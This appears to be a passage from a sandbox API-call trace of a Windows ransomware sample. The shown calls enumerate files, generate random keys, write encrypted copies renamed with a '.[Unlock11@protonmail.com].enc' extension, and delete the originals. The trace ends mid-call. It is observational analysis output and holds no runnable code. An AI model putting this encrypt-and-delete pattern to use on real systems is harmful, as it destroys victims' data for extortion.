GetCurrentThreadId () returned 0x9b0 [0114.864] GetLastError () returned 0x0 [0114.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.864] GetCurrentThreadId () returned 0x9b0 [0114.864] GetLastError () returned 0x0 [0114.865] GetLastError () returned 0x0 [0114.865] GetLastError () returned 0x0 [0114.865] GetLastError () returned 0x0 [0114.865] GetCurrentThreadId () returned 0x9b0 [0114.865] GetLastError () returned 0x0 [0114.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.865] GetLastError () returned 0x0 [0114.867] GetLastError () returned 0x0 [0114.867] GetCurrentThreadId () returned 0x9b0 [0114.868] GetCurrentThreadId () returned 0x9b0 [0114.868] GetCurrentThreadId () returned 0x9b0 [0114.869] GetCurrentThreadId () returned 0x9b0 [0114.870] GetCurrentThreadId () returned 0x9b0 [0114.870] GetCurrentThreadId () returned 0x9b0 [0114.870] GetCurrentThreadId () returned 0x9b0 [0114.871] GetCurrentThreadId () returned 0x9b0 [0114.872] GetCurrentThreadId () returned 0x9b0 [0114.872] GetCurrentThreadId () returned 0x9b0 [0114.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x1459) returned 0x36f8548 [0114.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x1465) returned 0x36f8548 [0114.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d28 [0114.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b28 | out: hHeap=0x2ad0000) returned 1 [0114.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1468) returned 0x3887a10 [0114.872] GetCurrentThreadId () returned 0x9b0 [0114.873] GetCurrentThreadId () returned 0x9b0 [0114.873] GetCurrentThreadId () returned 0x9b0 [0114.873] GetCurrentThreadId () returned 0x9b0 [0114.873] CloseHandle (hObject=0x3ac) returned 1 [0114.873] GetCurrentThreadId () returned 0x9b0 [0114.873] CloseHandle (hObject=0x39c) returned 1 [0114.874] GetCurrentThreadId () returned 0x9b0 [0114.874] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0114.876] GetCurrentThreadId () returned 0x9b0 [0114.876] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFilePart=0x9bada4*="UiInfo.xml") returned 0x27 [0114.876] GetCurrentThreadId () returned 0x9b0 [0114.876] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.876] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetCurrentThreadId () returned 0x9b0 [0114.877] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882)) returned 1 [0114.878] GetCurrentThreadId () returned 0x9b0 [0114.878] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366491c | out: pbBuffer=0x366491c) returned 1 [0114.878] GetCurrentThreadId () returned 0x9b0 [0114.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.878] GetCurrentThreadId () returned 0x9b0 [0114.878] GetCurrentThreadId () returned 0x9b0 [0114.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.879] GetCurrentThreadId () returned 0x9b0 [0114.879] GetCurrentThreadId () returned 0x9b0 [0114.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6b78 [0114.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.879] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.879] GetFileType (hFile=0x39c) returned 0x1 [0114.879] GetCurrentThreadId () returned 0x9b0 [0114.879] GetFileType (hFile=0x39c) returned 0x1 [0114.880] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.880] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.880] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.880] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.880] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.880] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.880] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.880] GetLastError () returned 0x0 [0114.880] GetCurrentThreadId () returned 0x9b0 [0114.880] GetLastError () returned 0x0 [0114.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b58 | out: hHeap=0x2ad0000) returned 1 [0114.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0114.880] GetLastError () returned 0x0 [0114.881] GetLastError () returned 0x0 [0114.881] GetLastError () returned 0x0 [0114.881] GetLastError () returned 0x0 [0114.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a08 [0114.881] GetLastError () returned 0x0 [0114.881] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.881] GetFileType (hFile=0x3ac) returned 0x1 [0114.882] GetLastError () returned 0x0 [0114.882] GetCurrentThreadId () returned 0x9b0 [0114.882] GetLastError () returned 0x0 [0114.882] GetFileType (hFile=0x3ac) returned 0x1 [0114.882] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.882] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.882] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.882] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.882] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.882] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.882] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.882] GetLastError () returned 0x0 [0114.882] GetCurrentThreadId () returned 0x9b0 [0114.882] GetLastError () returned 0x0 [0114.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0114.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0114.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0114.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0114.883] GetLastError () returned 0x0 [0114.883] GetLastError () returned 0x0 [0114.883] GetCurrentThreadId () returned 0x9b0 [0114.883] GetLastError () returned 0x0 [0114.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.883] GetLastError () returned 0x0 [0114.883] GetLastError () returned 0x0 [0114.883] GetCurrentThreadId () returned 0x9b0 [0114.884] GetLastError () returned 0x0 [0114.884] GetLastError () returned 0x0 [0114.885] GetLastError () returned 0x0 [0114.885] GetCurrentThreadId () returned 0x9b0 [0114.885] GetLastError () returned 0x0 [0114.885] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9897) returned 0x35c5908 [0114.886] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x98a5) returned 0x35c5908 [0114.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a98 [0114.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b78 | out: hHeap=0x2ad0000) returned 1 [0114.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x98a8) returned 0x3887a10 [0114.886] GetCurrentThreadId () returned 0x9b0 [0114.886] GetLastError () returned 0x0 [0114.886] GetLastError () returned 0x0 [0114.886] GetLastError () returned 0x0 [0114.886] GetLastError () returned 0x0 [0114.886] GetCurrentThreadId () returned 0x9b0 [0114.887] GetLastError () returned 0x0 [0114.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0114.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.887] GetLastError () returned 0x0 [0114.888] GetLastError () returned 0x0 [0114.888] GetCurrentThreadId () returned 0x9b0 [0114.888] GetLastError () returned 0x0 [0114.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0114.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.889] GetLastError () returned 0x0 [0114.889] GetLastError () returned 0x0 [0114.889] GetCurrentThreadId () returned 0x9b0 [0114.889] GetLastError () returned 0x0 [0114.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.889] GetLastError () returned 0x0 [0114.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.890] CloseHandle (hObject=0x3ac) returned 1 [0114.890] GetLastError () returned 0x0 [0114.890] GetCurrentThreadId () returned 0x9b0 [0114.890] GetLastError () returned 0x0 [0114.890] GetLastError () returned 0x0 [0114.890] CloseHandle (hObject=0x39c) returned 1 [0114.890] GetLastError () returned 0x0 [0114.890] GetCurrentThreadId () returned 0x9b0 [0114.890] GetLastError () returned 0x0 [0114.891] GetLastError () returned 0x0 [0114.891] GetLastError () returned 0x0 [0114.891] GetLastError () returned 0x0 [0114.891] GetLastError () returned 0x0 [0114.891] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0114.892] GetLastError () returned 0x0 [0114.892] GetCurrentThreadId () returned 0x9b0 [0114.892] GetLastError () returned 0x0 [0114.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.893] GetCurrentThreadId () returned 0x9b0 [0114.893] GetLastError () returned 0x0 [0114.893] GetLastError () returned 0x0 [0114.893] GetLastError () returned 0x0 [0114.893] GetLastError () returned 0x0 [0114.893] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0114.893] GetLastError () returned 0x0 [0114.893] GetCurrentThreadId () returned 0x9b0 [0114.893] GetLastError () returned 0x0 [0114.893] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.894] GetLastError () returned 0x0 [0114.894] GetCurrentThreadId () returned 0x9b0 [0114.894] GetLastError () returned 0x0 [0114.894] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0114.894] GetLastError () returned 0x0 [0114.894] GetCurrentThreadId () returned 0x9b0 [0114.894] GetLastError () returned 0x0 [0114.894] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0114.894] GetLastError () returned 0x0 [0114.894] GetCurrentThreadId () returned 0x9b0 [0114.894] GetLastError () returned 0x0 [0114.894] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0114.894] GetLastError () returned 0x12 [0114.895] GetCurrentThreadId () returned 0x9b0 [0114.895] GetLastError () returned 0x12 [0114.895] GetLastError () returned 0x12 [0114.895] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0114.895] GetLastError () returned 0x12 [0114.895] GetLastError () returned 0x12 [0114.895] GetLastError () returned 0x12 [0114.898] GetLastError () returned 0x12 [0114.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.898] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0114.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0114.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.898] GetCurrentThreadId () returned 0x9b0 [0114.898] GetLastError () returned 0x12 [0114.899] GetLastError () returned 0x12 [0114.899] GetLastError () returned 0x12 [0114.899] GetLastError () returned 0x12 [0114.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.899] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0114.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.899] GetLastError () returned 0x12 [0114.899] GetLastError () returned 0x12 [0114.899] GetLastError () returned 0x12 [0114.899] GetLastError () returned 0x12 [0114.900] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", lpFilePart=0x9bada4*="Parameterinfo.xml") returned 0x30 [0114.900] GetCurrentThreadId () returned 0x9b0 [0114.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.900] GetCurrentThreadId () returned 0x9b0 [0114.900] GetLastError () returned 0x0 [0114.900] GetLastError () returned 0x0 [0114.900] GetLastError () returned 0x0 [0114.901] GetLastError () returned 0x0 [0114.901] GetCurrentThreadId () returned 0x9b0 [0114.901] GetLastError () returned 0x0 [0114.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.901] GetLastError () returned 0x0 [0114.901] GetLastError () returned 0x0 [0114.901] GetLastError () returned 0x0 [0114.901] GetLastError () returned 0x0 [0114.901] GetCurrentThreadId () returned 0x9b0 [0114.901] GetLastError () returned 0x0 [0114.902] GetLastError () returned 0x0 [0114.902] GetLastError () returned 0x0 [0114.902] GetLastError () returned 0x0 [0114.902] GetLastError () returned 0x0 [0114.902] GetCurrentThreadId () returned 0x9b0 [0114.902] GetLastError () returned 0x0 [0114.902] GetCurrentThreadId () returned 0x9b0 [0114.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.902] GetLastError () returned 0x0 [0114.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0114.902] GetLastError () returned 0x0 [0114.902] GetLastError () returned 0x0 [0114.902] GetLastError () returned 0x0 [0114.903] GetCurrentThreadId () returned 0x9b0 [0114.903] GetLastError () returned 0x0 [0114.903] GetLastError () returned 0x0 [0114.903] GetLastError () returned 0x0 [0114.903] GetLastError () returned 0x0 [0114.903] GetLastError () returned 0x0 [0114.903] GetCurrentThreadId () returned 0x9b0 [0114.903] GetLastError () returned 0x0 [0114.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0114.903] GetLastError () returned 0x0 [0114.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0114.904] GetLastError () returned 0x0 [0114.904] GetLastError () returned 0x0 [0114.904] GetLastError () returned 0x0 [0114.904] GetCurrentThreadId () returned 0x9b0 [0114.904] GetLastError () returned 0x0 [0114.904] GetLastError () returned 0x0 [0114.904] GetLastError () returned 0x0 [0114.904] GetLastError () returned 0x0 [0114.904] GetLastError () returned 0x0 [0114.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.904] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82)) returned 1 [0114.905] GetLastError () returned 0x0 [0114.905] GetCurrentThreadId () returned 0x9b0 [0114.905] GetLastError () returned 0x0 [0114.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0114.905] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36649bc | out: pbBuffer=0x36649bc) returned 1 [0114.905] GetCurrentThreadId () returned 0x9b0 [0114.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.905] GetLastError () returned 0x0 [0114.906] GetLastError () returned 0x0 [0114.906] GetLastError () returned 0x0 [0114.906] GetLastError () returned 0x0 [0114.906] GetCurrentThreadId () returned 0x9b0 [0114.906] GetLastError () returned 0x0 [0114.906] GetCurrentThreadId () returned 0x9b0 [0114.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.906] GetLastError () returned 0x0 [0114.906] GetLastError () returned 0x0 [0114.907] GetLastError () returned 0x0 [0114.907] GetLastError () returned 0x0 [0114.907] GetCurrentThreadId () returned 0x9b0 [0114.907] GetLastError () returned 0x0 [0114.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.907] GetCurrentThreadId () returned 0x9b0 [0114.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a18 [0114.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.907] GetLastError () returned 0x0 [0114.907] GetLastError () returned 0x0 [0114.907] GetLastError () returned 0x0 [0114.908] GetLastError () returned 0x0 [0114.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6b78 [0114.908] GetLastError () returned 0x0 [0114.908] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.908] GetFileType (hFile=0x39c) returned 0x1 [0114.908] GetLastError () returned 0x0 [0114.908] GetCurrentThreadId () returned 0x9b0 [0114.908] GetLastError () returned 0x0 [0114.909] GetFileType (hFile=0x39c) returned 0x1 [0114.909] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.909] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.909] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.909] FileTimeToLocalFileTime 